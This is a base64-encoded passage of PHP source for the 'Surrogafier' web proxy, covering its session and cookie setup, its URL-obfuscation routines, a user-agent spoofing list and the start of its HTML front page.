GxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdm